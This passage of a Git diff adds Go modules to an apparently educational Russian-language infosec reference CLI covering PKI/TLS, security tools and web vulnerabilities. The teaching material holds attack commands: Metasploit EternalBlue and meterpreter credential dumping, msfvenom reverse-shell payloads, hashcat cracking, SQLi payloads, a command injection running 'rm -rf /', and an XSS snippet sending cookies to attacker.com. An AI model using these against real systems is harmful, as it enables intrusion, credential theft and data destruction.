Root CA — корневой CA (самоподписанный, доверяем принудительно)
|
||||
Intermediate CA — промежуточный CA (подписан Root CA)
|
||||
Certificate — сертификат (публичный ключ + метаданные, подписанные CA)
|
||||
CRL (Certificate Revocation List) — список отозванных сертификатов
|
||||
OCSP (Online Certificate Status Protocol) — онлайн-проверка статуса
|
||||
|
||||
Цепочка доверия:
|
||||
Root CA → Intermediate CA → End-Entity Certificate (ваш сайт)
|
||||
|
||||
Браузер доверяет Root CA (встроен в ОС/браузер).
|
||||
Root CA подписал Intermediate CA.
|
||||
Intermediate CA подписал ваш сертификат.
|
||||
Браузер верифицирует всю цепочку.
|
||||
|
||||
Публичные CA:
|
||||
Let's Encrypt — бесплатный, автоматический
|
||||
DigiCert — коммерческий
|
||||
Sectigo — коммерческий
|
||||
GlobalSign — коммерческий`)
|
||||
|
||||
utils.Section("X.509 сертификат")
|
||||
utils.Code(`X.509 — стандартный формат цифровых сертификатов.
|
||||
|
||||
Поля сертификата:
|
||||
Version — версия (обычно 3)
|
||||
Serial Number — уникальный номер
|
||||
Issuer — кто выдал (CA)
|
||||
Subject — для кого (CN, O, OU, C...)
|
||||
Validity — срок действия (Not Before / Not After)
|
||||
Public Key — публичный ключ и алгоритм
|
||||
Extensions — расширения (SANs, Key Usage, EKU...)
|
||||
Signature — подпись CA
|
||||
|
||||
Subject Alternative Names (SANs):
|
||||
Поле для нескольких доменов/IP в одном сертификате.
|
||||
Обязательно с 2017 года (CN игнорируется браузерами).
|
||||
Пример: DNS:example.com, DNS:*.example.com, IP:1.2.3.4
|
||||
|
||||
Типы сертификатов:
|
||||
DV (Domain Validation) — подтверждает владение доменом
|
||||
OV (Organization Validation) — подтверждает организацию
|
||||
EV (Extended Validation) — расширенная проверка (зелёный замок)
|
||||
Wildcard *.example.com — все субдомены одного уровня
|
||||
|
||||
# Просмотр сертификата:
|
||||
openssl x509 -in cert.pem -text -noout
|
||||
openssl s_client -connect example.com:443 -showcerts
|
||||
echo | openssl s_client -connect example.com:443 2>/dev/null | openssl x509 -noout -dates`)
|
||||
|
||||
utils.Section("TLS — протокол Transport Layer Security")
|
||||
utils.Code(`TLS — криптографический протокол для защиты соединений.
|
||||
HTTPS = HTTP + TLS.
|
||||
|
||||
История версий:
|
||||
SSL 2.0 / 3.0 — СЛОМАНЫ, не использовать
|
||||
TLS 1.0 / 1.1 — устарели, отключены в браузерах с 2020
|
||||
TLS 1.2 — приемлемо, широко используется
|
||||
TLS 1.3 — текущий стандарт, быстрее и безопаснее
|
||||
|
||||
TLS 1.3 улучшения:
|
||||
- 1-RTT handshake (вместо 2-RTT в 1.2)
|
||||
- 0-RTT resumption (возможна реплей-атака, осторожно)
|
||||
- Убраны ненадёжные алгоритмы (RC4, MD5, SHA-1, RSA key exchange)
|
||||
- PFS обязателен (все cipher suites используют ECDHE)
|
||||
|
||||
TLS 1.2 Handshake:
|
||||
1. ClientHello — версии, cipher suites, random
|
||||
2. ServerHello — выбор версии/cipher, сертификат
|
||||
3. Key Exchange — обмен ключами (DHE/ECDHE)
|
||||
4. Finished — проверка, начало передачи данных`)
|
||||
|
||||
utils.Println(utils.ColorBold + "Cipher Suites — наборы алгоритмов:" + utils.ColorReset)
|
||||
utils.Code(`TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
|
||||
|
||||
Расшифровка:
|
||||
TLS — протокол
|
||||
ECDHE — обмен ключами (PFS!)
|
||||
RSA — аутентификация сервера
|
||||
AES_256_GCM — шифрование (AEAD)
|
||||
SHA384 — HMAC / PRF
|
||||
|
||||
Рекомендованные (TLS 1.2):
|
||||
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
|
||||
TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384
|
||||
TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256
|
||||
|
||||
TLS 1.3 (фиксированный набор):
|
||||
TLS_AES_256_GCM_SHA384
|
||||
TLS_AES_128_GCM_SHA256
|
||||
TLS_CHACHA20_POLY1305_SHA256`)
|
||||
|
||||
utils.Section("Управление сертификатами")
|
||||
utils.Code(`# Генерация CSR (Certificate Signing Request):
|
||||
# 1. Сгенерировать приватный ключ:
|
||||
openssl genrsa -out server.key 4096
|
||||
# или Ed25519:
|
||||
openssl genpkey -algorithm Ed25519 -out server.key
|
||||
|
||||
# 2. Сгенерировать CSR:
|
||||
openssl req -new -key server.key -out server.csr \
|
||||
-subj "/CN=example.com/O=MyOrg/C=RU"
|
||||
|
||||
# 3. Добавить SAN в CSR:
|
||||
openssl req -new -key server.key -out server.csr \
|
||||
-subj "/CN=example.com" \
|
||||
-addext "subjectAltName=DNS:example.com,DNS:www.example.com,IP:1.2.3.4"
|
||||
|
||||
# Самоподписанный сертификат (для тестирования):
|
||||
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem \
|
||||
-days 365 -nodes \
|
||||
-subj "/CN=localhost" \
|
||||
-addext "subjectAltName=DNS:localhost,IP:127.0.0.1"
|
||||
|
||||
# Проверить CSR:
|
||||
openssl req -text -noout -in server.csr
|
||||
|
||||
# Проверить сертификат:
|
||||
openssl x509 -text -noout -in server.crt
|
||||
openssl verify -CAfile ca-chain.pem server.crt
|
||||
|
||||
# Проверить что ключ соответствует сертификату:
|
||||
openssl x509 -noout -modulus -in server.crt | md5sum
|
||||
openssl rsa -noout -modulus -in server.key | md5sum`)
|
||||
|
||||
utils.Section("Let's Encrypt и ACME")
|
||||
utils.Code(`Let's Encrypt — бесплатный автоматический CA.
|
||||
ACME — протокол автоматической выдачи сертификатов.
|
||||
|
||||
# Certbot (стандартный клиент):
|
||||
certbot --nginx -d example.com -d www.example.com # Nginx
|
||||
certbot --apache -d example.com # Apache
|
||||
certbot certonly --standalone -d example.com # standalone
|
||||
certbot certonly --dns-cloudflare -d "*.example.com" # wildcard через DNS
|
||||
|
||||
# Автоообновление (systemd timer или cron):
|
||||
certbot renew --dry-run # проверить
|
||||
# Systemd timer создаётся автоматически certbot-ом
|
||||
|
||||
# Файлы сертификата:
|
||||
/etc/letsencrypt/live/example.com/
|
||||
cert.pem — сертификат домена
|
||||
chain.pem — промежуточные CA
|
||||
fullchain.pem — cert + chain (для nginx/apache)
|
||||
privkey.pem — приватный ключ
|
||||
|
||||
# acme.sh — альтернативный клиент:
|
||||
curl https://get.acme.sh | sh
|
||||
acme.sh --issue -d example.com --webroot /var/www/html
|
||||
acme.sh --install-cert -d example.com \
|
||||
--cert-file /etc/nginx/ssl/cert.pem \
|
||||
--key-file /etc/nginx/ssl/key.pem \
|
||||
--fullchain-file /etc/nginx/ssl/fullchain.pem \
|
||||
--reloadcmd "nginx -s reload"`)
|
||||
|
||||
utils.Section("Собственный CA (Internal PKI)")
|
||||
utils.Code(`# Создание Root CA:
|
||||
mkdir -p ca/{certs,crl,newcerts,private}
|
||||
chmod 700 ca/private
|
||||
touch ca/index.txt
|
||||
echo 1000 > ca/serial
|
||||
|
||||
openssl genrsa -aes256 -out ca/private/ca.key 4096
|
||||
chmod 400 ca/private/ca.key
|
||||
|
||||
openssl req -new -x509 -days 3650 -key ca/private/ca.key \
|
||||
-out ca/certs/ca.crt \
|
||||
-subj "/C=RU/O=MyOrg/CN=MyOrg Root CA"
|
||||
|
||||
# Подпись сертификата своим CA:
|
||||
openssl x509 -req -in server.csr \
|
||||
-CA ca/certs/ca.crt -CAkey ca/private/ca.key \
|
||||
-CAcreateserial -out server.crt \
|
||||
-days 365 -extensions v3_req
|
||||
|
||||
# Распространение Root CA:
|
||||
# Linux: cp ca.crt /usr/local/share/ca-certificates/ && update-ca-certificates
|
||||
# Windows: Сертификаты → Доверенные корневые центры
|
||||
|
||||
# cert-manager (Kubernetes):
|
||||
# Автоматическое управление сертификатами в K8s
|
||||
# Поддерживает Let's Encrypt, Vault, собственный CA`)
|
||||
|
||||
utils.Section("Проверка TLS конфигурации")
|
||||
utils.Code(`# SSL Labs — онлайн тест:
|
||||
# https://www.ssllabs.com/ssltest/
|
||||
|
||||
# testssl.sh — локальный тест:
|
||||
testssl.sh example.com
|
||||
testssl.sh --protocols example.com # только протоколы
|
||||
testssl.sh --cipher-per-proto example.com
|
||||
|
||||
# nmap:
|
||||
nmap --script ssl-enum-ciphers -p 443 example.com
|
||||
|
||||
# Проверить с командной строки:
|
||||
openssl s_client -connect example.com:443 -tls1_2
|
||||
openssl s_client -connect example.com:443 -tls1_3
|
||||
curl -vI https://example.com 2>&1 | grep -E "TLS|SSL|cipher"
|
||||
|
||||
# Проверить дату истечения:
|
||||
echo | openssl s_client -connect example.com:443 2>/dev/null \
|
||||
| openssl x509 -noout -enddate
|
||||
|
||||
# Проверить HSTS:
|
||||
curl -sI https://example.com | grep -i strict`)
|
||||
|
||||
utils.Footer()
|
||||
}
|
||||
117
modules/infosecmodules/infosec_registry.go
Normal file
117
modules/infosecmodules/infosec_registry.go
Normal file
|
|
@ -0,0 +1,117 @@
|
|||
package infosecmodules
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"rubric/utils"
|
||||
"strings"
|
||||
)
|
||||
|
||||
type Module struct {
|
||||
Key string
|
||||
Aliases []string
|
||||
Title string
|
||||
Description string
|
||||
Run func()
|
||||
}
|
||||
|
||||
var All = []Module{
|
||||
BasicsModule,
|
||||
CryptoModule,
|
||||
PkiModule,
|
||||
NetsecModule,
|
||||
WebModule,
|
||||
HardeningModule,
|
||||
AuthnModule,
|
||||
ToolsModule,
|
||||
}
|
||||
|
||||
func Find(key string) (Module, bool) {
|
||||
key = strings.ToLower(strings.TrimSpace(key))
|
||||
for _, m := range All {
|
||||
if m.Key == key {
|
||||
return m, true
|
||||
}
|
||||
for _, a := range m.Aliases {
|
||||
if a == key {
|
||||
return m, true
|
||||
}
|
||||
}
|
||||
}
|
||||
return Module{}, false
|
||||
}
|
||||
|
||||
func ListModules() {
|
||||
fmt.Printf("\n%s%sРазделы справочника InfoSec:%s\n\n",
|
||||
utils.ColorBold, utils.ColorCyan, utils.ColorReset)
|
||||
for i, m := range All {
|
||||
fmt.Printf(" %s%d.%s %-14s — %s\n",
|
||||
utils.ColorDim, i+1, utils.ColorReset,
|
||||
utils.ColorYellow+utils.ColorBold+m.Key+utils.ColorReset,
|
||||
m.Title,
|
||||
)
|
||||
}
|
||||
fmt.Println()
|
||||
}
|
||||
|
||||
// Keywords возвращает ключевые слова для поиска по модулю
|
||||
func Keywords(key string) []string {
|
||||
kw := map[string][]string{
|
||||
"basics": {
|
||||
"CIA", "конфиденциальность", "целостность", "доступность",
|
||||
"угрозы", "уязвимости", "риски", "STRIDE", "DREAD", "PASTA",
|
||||
"NIST", "ISO 27001", "CIS", "OWASP", "CVSS", "модель угроз",
|
||||
"threat modeling", "zero trust", "defence in depth",
|
||||
},
|
||||
"crypto": {
|
||||
"криптография", "шифрование", "encryption", "AES", "RSA", "ECDSA",
|
||||
"Ed25519", "SHA", "SHA-256", "хэш", "hash", "HMAC", "MAC",
|
||||
"симметричная", "асимметричная", "GCM", "ChaCha20", "bcrypt",
|
||||
"Argon2", "соль", "salt", "пароли", "passwords", "PFS",
|
||||
"Perfect Forward Secrecy", "квантовая", "постквантовая",
|
||||
},
|
||||
"pki": {
|
||||
"PKI", "сертификаты", "certificates", "CA", "TLS", "SSL", "HTTPS",
|
||||
"X.509", "RSA", "Let's Encrypt", "certbot", "ACME", "OpenSSL",
|
||||
"CSR", "цепочка доверия", "cipher suite", "handshake", "HSTS",
|
||||
"SNI", "SAN", "wildcard", "отзыв", "CRL", "OCSP",
|
||||
},
|
||||
"netsec": {
|
||||
"сетевая безопасность", "nmap", "сканирование", "scan", "tcpdump",
|
||||
"Wireshark", "IDS", "IPS", "Snort", "Suricata", "firewall",
|
||||
"iptables", "nftables", "VPN", "WireGuard", "OpenVPN", "IPsec",
|
||||
"DDoS", "MITM", "ARP spoofing", "DNS spoofing", "сегментация",
|
||||
"VLAN", "DMZ", "masscan", "Network Policy",
|
||||
},
|
||||
"web": {
|
||||
"OWASP", "XSS", "SQL injection", "SQLi", "CSRF", "SSRF", "XXE",
|
||||
"инъекции", "injection", "Path traversal", "IDOR", "broken access",
|
||||
"CSP", "Content Security Policy", "WAF", "веб-уязвимости",
|
||||
"burp suite", "sqlmap", "nikto", "gobuster", "ffuf",
|
||||
},
|
||||
"hardening": {
|
||||
"hardening", "усиление", "SSH", "sshd_config", "auditd", "аудит",
|
||||
"Lynis", "OpenSCAP", "CIS Benchmarks", "sysctl", "AIDE",
|
||||
"целостность файлов", "unattended-upgrades", "fail2ban",
|
||||
"минимальные привилегии", "least privilege",
|
||||
},
|
||||
"authn": {
|
||||
"аутентификация", "авторизация", "MFA", "2FA", "TOTP", "FIDO2",
|
||||
"WebAuthn", "passkeys", "JWT", "токены", "OAuth2", "OIDC",
|
||||
"LDAP", "Active Directory", "Kerberos", "RBAC", "ABAC",
|
||||
"Vault", "HashiCorp", "secrets", "секреты", "пароли",
|
||||
"bcrypt", "SSO", "Single Sign-On",
|
||||
},
|
||||
"tools": {
|
||||
"nmap", "Metasploit", "Burp Suite", "Wireshark", "Hashcat",
|
||||
"John the Ripper", "sqlmap", "gobuster", "ffuf", "nikto",
|
||||
"OSINT", "Shodan", "theHarvester", "subfinder", "amass",
|
||||
"пентест", "pentest", "CTF", "форензика", "forensics",
|
||||
"Ghidra", "IDA", "LinPEAS", "WinPEAS", "BloodHound",
|
||||
"Mimikatz", "Cobalt Strike", "MITRE ATT&CK", "threat hunting",
|
||||
},
|
||||
}
|
||||
if v, ok := kw[key]; ok {
|
||||
return v
|
||||
}
|
||||
return []string{}
|
||||
}
|
||||
284
modules/infosecmodules/infosec_tools.go
Normal file
284
modules/infosecmodules/infosec_tools.go
Normal file
|
|
@ -0,0 +1,284 @@
|
|||
package infosecmodules
|
||||
|
||||
import (
|
||||
"rubric/utils"
|
||||
)
|
||||
|
||||
var ToolsModule = Module{
|
||||
Key: "tools",
|
||||
Aliases: []string{"t", "pentest", "инструменты"},
|
||||
Title: "Инструменты безопасности",
|
||||
Description: "nmap, Metasploit, Burp Suite, Wireshark, Hashcat, инструменты OSINT",
|
||||
Run: showTools,
|
||||
}
|
||||
|
||||
func showTools() {
|
||||
utils.Header("InfoSec — Инструменты безопасности")
|
||||
|
||||
utils.Section("Разведка и OSINT")
|
||||
utils.Code(`OSINT (Open Source Intelligence) — разведка из открытых источников.
|
||||
|
||||
# whois — информация о домене:
|
||||
whois example.com
|
||||
whois 1.2.3.4
|
||||
|
||||
# DNS разведка:
|
||||
dig example.com ANY
|
||||
dig +short MX example.com
|
||||
dig +short TXT example.com # SPF, DKIM, DMARC
|
||||
dig +trace example.com # полный путь разрешения
|
||||
nslookup example.com 8.8.8.8
|
||||
|
||||
# Субдомены:
|
||||
subfinder -d example.com -o subdomains.txt
|
||||
amass enum -d example.com
|
||||
dnsx -l subdomains.txt # проверить живые
|
||||
|
||||
# Сертификаты → субдомены:
|
||||
# https://crt.sh/?q=%.example.com
|
||||
curl -s "https://crt.sh/?q=%.example.com&output=json" | \
|
||||
jq -r '.[].name_value' | sort -u
|
||||
|
||||
# theHarvester — email, имена, субдомены:
|
||||
theHarvester -d example.com -b google,bing,shodan
|
||||
|
||||
# Shodan — поисковик по устройствам:
|
||||
# https://www.shodan.io
|
||||
# CLI: pip install shodan
|
||||
shodan search "apache country:RU"
|
||||
shodan host 1.2.3.4
|
||||
|
||||
# Google dorks (Google Hacking):
|
||||
site:example.com filetype:pdf
|
||||
site:example.com inurl:admin
|
||||
site:example.com intitle:"index of"
|
||||
"@example.com" filetype:xls
|
||||
"password" site:example.com filetype:txt`)
|
||||
|
||||
utils.Section("Сканирование и перечисление")
|
||||
utils.Code(`# nmap (подробнее в InfoSec → netsec):
|
||||
nmap -sV -sC -A -p- target.com -oA full_scan
|
||||
|
||||
# gobuster — перебор директорий и файлов:
|
||||
gobuster dir -u https://target.com -w /usr/share/wordlists/dirb/common.txt
|
||||
gobuster dir -u https://target.com -w wordlist.txt -x php,html,js -t 50
|
||||
gobuster dns -d target.com -w subdomains.txt
|
||||
|
||||
# feroxbuster — рекурсивный перебор:
|
||||
feroxbuster -u https://target.com -w wordlist.txt --depth 3
|
||||
|
||||
# ffuf — быстрый fuzzer:
|
||||
ffuf -u https://target.com/FUZZ -w wordlist.txt
|
||||
ffuf -u https://target.com -H "Host: FUZZ.target.com" -w subdomains.txt
|
||||
ffuf -u https://target.com/login -X POST \
|
||||
-d "user=FUZZ&pass=password" -w usernames.txt
|
||||
|
||||
# nikto — сканер веб-уязвимостей:
|
||||
nikto -h https://target.com
|
||||
nikto -h target.com -port 8443 -ssl
|
||||
|
||||
# enum4linux-ng — перечисление Windows/Samba:
|
||||
enum4linux-ng -A target.com
|
||||
|
||||
# crackmapexec — swiss army knife для AD:
|
||||
crackmapexec smb 192.168.1.0/24
|
||||
crackmapexec smb 192.168.1.10 -u users.txt -p passwords.txt`)
|
||||
|
||||
utils.Section("Metasploit Framework")
|
||||
utils.Code(`Metasploit — платформа для разработки и запуска эксплойтов.
|
||||
|
||||
# Запуск:
|
||||
msfconsole
|
||||
msfconsole -q # без баннера
|
||||
|
||||
# Основные команды:
|
||||
search ms17-010 # поиск модуля (EternalBlue)
|
||||
use exploit/windows/smb/ms17_010_eternalblue
|
||||
info # информация о модуле
|
||||
show options # параметры
|
||||
show payloads # доступные пейлоады
|
||||
set RHOSTS 192.168.1.10 # цель
|
||||
set LHOST 192.168.1.20 # наш IP
|
||||
set payload windows/x64/meterpreter/reverse_tcp
|
||||
check # проверить уязвимость без эксплуатации
|
||||
run / exploit # запустить
|
||||
|
||||
# Meterpreter — расширенный пейлоад:
|
||||
sysinfo # информация о системе
|
||||
getuid # текущий пользователь
|
||||
getsystem # повышение привилегий
|
||||
hashdump # дамп хэшей паролей
|
||||
shell # системный shell
|
||||
upload /path/file C:\\ # загрузить файл
|
||||
download C:\\file.txt # скачать файл
|
||||
ps # список процессов
|
||||
migrate 1234 # мигрировать в процесс
|
||||
portfwd add -l 3306 -r 127.0.0.1 -p 3306 # port forwarding
|
||||
load kiwi && creds_all # Mimikatz (дамп credentials)
|
||||
|
||||
# msfvenom — генератор пейлоадов:
|
||||
msfvenom -p windows/x64/meterpreter/reverse_tcp \
|
||||
LHOST=192.168.1.20 LPORT=4444 -f exe -o payload.exe
|
||||
|
||||
msfvenom -p linux/x64/meterpreter/reverse_tcp \
|
||||
LHOST=192.168.1.20 LPORT=4444 -f elf -o payload
|
||||
|
||||
# Auxiliary модули:
|
||||
use auxiliary/scanner/portscan/tcp
|
||||
use auxiliary/scanner/smb/smb_ms17_010
|
||||
use auxiliary/brute/http/http_login`)
|
||||
|
||||
utils.Section("Burp Suite — тестирование веб-приложений")
|
||||
utils.Code(`Burp Suite — платформа для ручного и автоматического тестирования веб.
|
||||
|
||||
Основные инструменты:
|
||||
Proxy — перехват и изменение HTTP/HTTPS трафика
|
||||
Repeater — повторная отправка запросов с изменениями
|
||||
Intruder — автоматизированные атаки (brute force, fuzzing)
|
||||
Scanner — автоматическое сканирование уязвимостей (Pro)
|
||||
Decoder — кодирование/декодирование (Base64, URL, HTML)
|
||||
Comparer — сравнение ответов
|
||||
Sequencer — анализ случайности токенов
|
||||
|
||||
# Настройка прокси:
|
||||
# Browser → Proxy 127.0.0.1:8080 → Burp → Target
|
||||
# Установить Burp CA certificate в браузер для HTTPS
|
||||
|
||||
# Основной workflow:
|
||||
1. Настроить браузер на прокси
|
||||
2. Interceptor: On — перехватывать запросы
|
||||
3. Исследовать приложение
|
||||
4. Отправлять интересные запросы в Repeater
|
||||
5. Изменять параметры, проверять реакцию
|
||||
6. Атаки Intruder для перебора
|
||||
|
||||
# Расширения (BApp Store):
|
||||
Active Scan++ — дополнительные проверки
|
||||
JWT Editor — работа с JWT токенами
|
||||
Logger++ — расширенное логирование
|
||||
Param Miner — поиск скрытых параметров
|
||||
|
||||
# curl как замена для простых тестов:
|
||||
curl -v -X POST https://target.com/login \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"user":"admin","pass":"'"'"' OR 1=1 --"}'`)
|
||||
|
||||
utils.Section("Взлом паролей — Hashcat и John")
|
||||
utils.Code(`# Hashcat — GPU-ускоренный взломщик хэшей:
|
||||
hashcat --example-hashes | grep -A 1 "MODE: 0" # примеры хэшей
|
||||
|
||||
# Основные режимы атаки:
|
||||
# -a 0: Straight (словарь)
|
||||
# -a 1: Combination (два словаря)
|
||||
# -a 3: Brute-force (маски)
|
||||
# -a 6: Hybrid (словарь + маска)
|
||||
|
||||
# Типы хэшей (-m):
|
||||
# 0 — MD5
|
||||
# 1000 — NTLM
|
||||
# 1800 — sha512crypt (Linux /etc/shadow)
|
||||
# 3200 — bcrypt
|
||||
# 13100 — Kerberos TGS-REP
|
||||
|
||||
# Атаки:
|
||||
# Словарная атака:
|
||||
hashcat -m 1000 hashes.txt rockyou.txt
|
||||
|
||||
# Brute-force с маской:
|
||||
hashcat -m 0 hashes.txt -a 3 ?l?l?l?l?d?d # 4 буквы + 2 цифры
|
||||
# Маски: ?l=lower ?u=upper ?d=digit ?s=special ?a=all
|
||||
|
||||
# Комбо: словарь + правила:
|
||||
hashcat -m 1000 hashes.txt rockyou.txt -r rules/best64.rule
|
||||
|
||||
# John the Ripper — классика:
|
||||
john --format=bcrypt hashes.txt --wordlist=rockyou.txt
|
||||
john --show hashes.txt
|
||||
|
||||
# Словари:
|
||||
# rockyou.txt — 14 млн паролей из утечки
|
||||
# SecLists/Passwords — коллекция словарей
|
||||
# CrackStation — 1.5 млрд паролей`)
|
||||
|
||||
utils.Section("Инструменты для CTF и пентеста")
|
||||
utils.Code(`Стеганография:
|
||||
steghide — скрытие данных в изображениях
|
||||
binwalk — анализ бинарных файлов (embedded files)
|
||||
exiftool — метаданные файлов
|
||||
strings — строки в бинарных файлах
|
||||
xxd — hex dump
|
||||
|
||||
Форензика:
|
||||
volatility — анализ дампов памяти
|
||||
autopsy / sleuthkit — форензика дисков
|
||||
Wireshark — анализ сетевого трафика
|
||||
foremost — восстановление файлов
|
||||
|
||||
Web:
|
||||
sqlmap — автоматический SQL injection
|
||||
sqlmap -u "https://target.com/page?id=1" --dbs
|
||||
sqlmap -u "https://target.com/page?id=1" -D mydb --tables
|
||||
|
||||
wfuzz — fuzzer (альтернатива ffuf)
|
||||
XSStrike — анализ XSS
|
||||
Commix — command injection
|
||||
|
||||
Reverse Engineering:
|
||||
Ghidra — бесплатный дизассемблер (NSA)
|
||||
IDA Pro — коммерческий, стандарт индустрии
|
||||
radare2 — open source framework
|
||||
pwndbg — расширение GDB для exploit development
|
||||
|
||||
Privilege Escalation (Linux):
|
||||
LinPEAS — автоматический поиск векторов
|
||||
linux-exploit-suggester — предложения эксплойтов
|
||||
pspy — мониторинг процессов без root
|
||||
|
||||
Privilege Escalation (Windows):
|
||||
WinPEAS — автоматический поиск
|
||||
PowerSploit — PowerShell для пентеста
|
||||
BloodHound — граф атак в Active Directory
|
||||
|
||||
Полезные дистрибутивы:
|
||||
Kali Linux — стандарт для пентеста
|
||||
Parrot OS — лёгкий, для форензики и пентеста
|
||||
BlackArch — Arch-based, огромный репозиторий`)
|
||||
|
||||
utils.Section("SIEM и Threat Hunting")
|
||||
utils.Code(`SIEM (Security Information and Event Management):
|
||||
Централизованный сбор, корреляция и анализ событий безопасности.
|
||||
|
||||
Splunk — коммерческий, мощный
|
||||
Elastic SIEM (ELK) — Elasticsearch + Kibana
|
||||
Microsoft Sentinel — облачный SIEM (Azure)
|
||||
IBM QRadar — корпоративный
|
||||
Graylog — open source
|
||||
|
||||
MITRE ATT&CK Framework:
|
||||
Матрица тактик и техник, используемых атакующими.
|
||||
https://attack.mitre.org
|
||||
|
||||
Тактики (Tactics): Reconnaissance → Initial Access → Execution →
|
||||
Persistence → Privilege Escalation → Defense Evasion →
|
||||
Credential Access → Discovery → Lateral Movement → Collection →
|
||||
Command and Control → Exfiltration → Impact
|
||||
|
||||
Threat Hunting — проактивный поиск угроз:
|
||||
Hypothesis-based: "а вдруг у нас есть Cobalt Strike?"
|
||||
IOC-based: по индикаторам компрометации (IP, домены, хэши)
|
||||
|
||||
Источники IOC:
|
||||
VirusTotal, Shodan, AlienVault OTX
|
||||
Threat Intelligence платформы (MISP, OpenCTI)
|
||||
Vendor feeds (Mandiant, CrowdStrike)
|
||||
|
||||
Incident Response (IR):
|
||||
1. Preparation — подготовка (playbooks, инструменты)
|
||||
2. Identification — обнаружение инцидента
|
||||
3. Containment — локализация
|
||||
4. Eradication — устранение
|
||||
5. Recovery — восстановление
|
||||
6. Lessons Learned — разбор полётов`)
|
||||
|
||||
utils.Footer()
|
||||
}
|
||||
241
modules/infosecmodules/infosec_web.go
Normal file
241
modules/infosecmodules/infosec_web.go
Normal file
|
|
@ -0,0 +1,241 @@
|
|||
package infosecmodules
|
||||
|
||||
import (
|
||||
"rubric/utils"
|
||||
)
|
||||
|
||||
var WebModule = Module{
|
||||
Key: "web",
|
||||
Aliases: []string{"w", "owasp", "webapp"},
|
||||
Title: "Безопасность веб-приложений",
|
||||
Description: "OWASP Top 10, XSS, SQLi, CSRF, SSRF, XXE, инъекции и защита",
|
||||
Run: showWeb,
|
||||
}
|
||||
|
||||
func showWeb() {
|
||||
utils.Header("InfoSec — Безопасность веб-приложений")
|
||||
|
||||
utils.Section("OWASP Top 10 (2021)")
|
||||
utils.Code(`A01 Broken Access Control — нарушение контроля доступа (IDOR, privilege escalation)
|
||||
A02 Cryptographic Failures — слабая/отсутствующая криптография
|
||||
A03 Injection — инъекции (SQL, NoSQL, команды, LDAP)
|
||||
A04 Insecure Design — небезопасный дизайн
|
||||
A05 Security Misconfiguration — неправильная конфигурация
|
||||
A06 Vulnerable Components — уязвимые зависимости
|
||||
A07 Auth Failures — ошибки аутентификации и сессий
|
||||
A08 Software & Data Integrity — нарушение целостности ПО и данных
|
||||
A09 Logging & Monitoring Failures — недостаточное логирование
|
||||
A10 SSRF — Server-Side Request Forgery`)
|
||||
|
||||
utils.Section("A03 Injection — SQL Injection")
|
||||
utils.Code(`SQL Injection — внедрение SQL-кода через пользовательский ввод.
|
||||
|
||||
Уязвимый код:
|
||||
query = "SELECT * FROM users WHERE name='" + name + "'"
|
||||
# Ввод: ' OR '1'='1
|
||||
# Результат: SELECT * FROM users WHERE name='' OR '1'='1'
|
||||
|
||||
Типы SQLi:
|
||||
In-band — ответ видно в ответе приложения
|
||||
Error-based — ошибки раскрывают структуру БД
|
||||
Union-based — UNION SELECT для получения данных
|
||||
Blind — нет прямого ответа, только true/false или задержки
|
||||
Boolean-based — условие true/false
|
||||
Time-based — SLEEP() для подтверждения
|
||||
Out-of-band — данные через DNS/HTTP запросы
|
||||
|
||||
Примеры атак:
|
||||
' OR '1'='1' -- # обход авторизации
|
||||
' UNION SELECT 1,user(),3 -- # получить имя БД-пользователя
|
||||
'; DROP TABLE users; -- # разрушительная (редко работает)
|
||||
' AND 1=2 UNION SELECT table_name FROM information_schema.tables --
|
||||
|
||||
Защита:
|
||||
1. Параметризованные запросы (Prepared Statements) — ГЛАВНЫЙ метод
|
||||
2. ORM (SQLAlchemy, Hibernate, GORM)
|
||||
3. Хранимые процедуры
|
||||
4. Экранирование (последний выбор!)
|
||||
5. WAF
|
||||
6. Принцип минимальных привилегий для БД-пользователя
|
||||
|
||||
# Безопасный код (Python):
|
||||
cursor.execute("SELECT * FROM users WHERE name = %s", (name,))
|
||||
|
||||
# Безопасный код (Go):
|
||||
db.Query("SELECT * FROM users WHERE name = ?", name)`)
|
||||
|
||||
utils.Section("A03 Injection — другие типы")
|
||||
utils.Code(`NoSQL Injection (MongoDB):
|
||||
Уязвимо: db.users.find({username: req.body.username})
|
||||
Атака: {"username": {"$gt": ""}} # всегда true
|
||||
Защита: валидация типов, mongoose.sanitize()
|
||||
|
||||
Command Injection (OS Injection):
|
||||
Уязвимо: os.system("ping " + host)
|
||||
Атака: "127.0.0.1; rm -rf /"
|
||||
Защита: subprocess.run(["ping", host], shell=False) # НЕ shell=True!
|
||||
|
||||
LDAP Injection:
|
||||
Атака на LDAP-запросы (AD аутентификация)
|
||||
Защита: экранирование спецсимволов LDAP
|
||||
|
||||
XPath Injection:
|
||||
Как SQL, но для XML/XPath
|
||||
Защита: параметризованные XPath запросы
|
||||
|
||||
Template Injection (SSTI):
|
||||
Уязвимо: render_template_string("Hello " + name)
|
||||
Атака: name = "{{7*7}}" → 49 (Jinja2 выполняет код)
|
||||
Опасность: RCE (Remote Code Execution)
|
||||
Защита: никогда не рендерить пользовательский ввод как шаблон`)
|
||||
|
||||
utils.Section("XSS — Cross-Site Scripting")
|
||||
utils.Code(`XSS — внедрение скриптов в страницы, просматриваемые другими пользователями.
|
||||
Выполняется в браузере жертвы.
|
||||
|
||||
Типы:
|
||||
Reflected XSS — в параметре запроса, не сохраняется
|
||||
URL: /search?q=<script>alert(1)</script>
|
||||
|
||||
Stored (Persistent) XSS — сохраняется в БД/файлах
|
||||
Комментарий: <script>document.cookie</script>
|
||||
Опаснее: видят все пользователи
|
||||
|
||||
DOM-based XSS — через DOM, не проходит через сервер
|
||||
document.write(location.hash)
|
||||
|
||||
Что может сделать XSS:
|
||||
- Украсть cookies (document.cookie)
|
||||
- Кейлоггинг (capture input)
|
||||
- Перенаправление (window.location)
|
||||
- Изменить страницу (phishing)
|
||||
- CSRF от имени жертвы
|
||||
|
||||
Атака (кража cookies):
|
||||
<script>
|
||||
new Image().src="https://attacker.com/steal?c="+document.cookie
|
||||
</script>
|
||||
|
||||
Защита:
|
||||
1. Content Security Policy (CSP) — главная защита
|
||||
2. Экранирование вывода (output encoding)
|
||||
HTML: < > & "
|
||||
3. HttpOnly cookies (нельзя читать через JS)
|
||||
